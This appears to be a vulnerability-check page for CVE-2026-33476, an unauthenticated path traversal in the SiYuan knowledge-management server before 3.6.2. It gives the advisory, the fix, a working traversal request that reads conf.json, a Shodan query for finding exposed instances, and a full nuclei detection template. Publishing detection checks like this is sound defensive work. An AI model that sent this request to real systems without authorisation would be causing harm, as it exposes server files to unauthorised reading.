SiYuan <= v3.6.1 - Path Traversal

highseverity

7.5CVSS score

3.3%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

SiYuan is a personal knowledge management system. Prior to version 3.6.2, the Siyuan kernel exposes an unauthenticated file-serving endpoint under `/appearance/*filepath.` Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process. Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials. Version 3.6.2 fixes this issue.

Impact

Unauthenticated attackers can read arbitrary files accessible to the server, potentially exposing sensitive information.

Fix

Update to version 3.6.2 or later.

How to confirm it

Send: GET /appearance/langs/../../conf.json
Positive when: contains "\"kernelVersion\"" and "\"logLevel\"" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2026-33476 -u <target>

The full check

id: CVE-2026-33476

info:
  name: SiYuan <= v3.6.1 - Path Traversal
  author: WRG-11
  severity: high
  description: |
    SiYuan is a personal knowledge management system. Prior to version 3.6.2, the Siyuan kernel exposes an unauthenticated file-serving endpoint under `/appearance/*filepath.` Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process. Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials. Version 3.6.2 fixes this issue.
  impact: |
    Unauthenticated attackers can read arbitrary files accessible to the server, potentially exposing sensitive information.
  remediation: |
    Update to version 3.6.2 or later.
  reference:
    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-hhgj-gg9h-rjp7
    - https://github.com/siyuan-note/siyuan/commit/009bb598b3beccc972aa5f1ed88b3b224326bf2a
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33476
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-33476
    epss-score: 0.03328
    epss-percentile: 0.88714
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: siyuan-note
    product: siyuan
    shodan-query: http.favicon.hash:-1450125239
  tags: cve,cve2026,siyuan,lfi,traversal,exposure

http:
  - raw:
      - |
        GET /appearance/langs/../../conf.json HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"kernelVersion"'
          - '"logLevel"'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from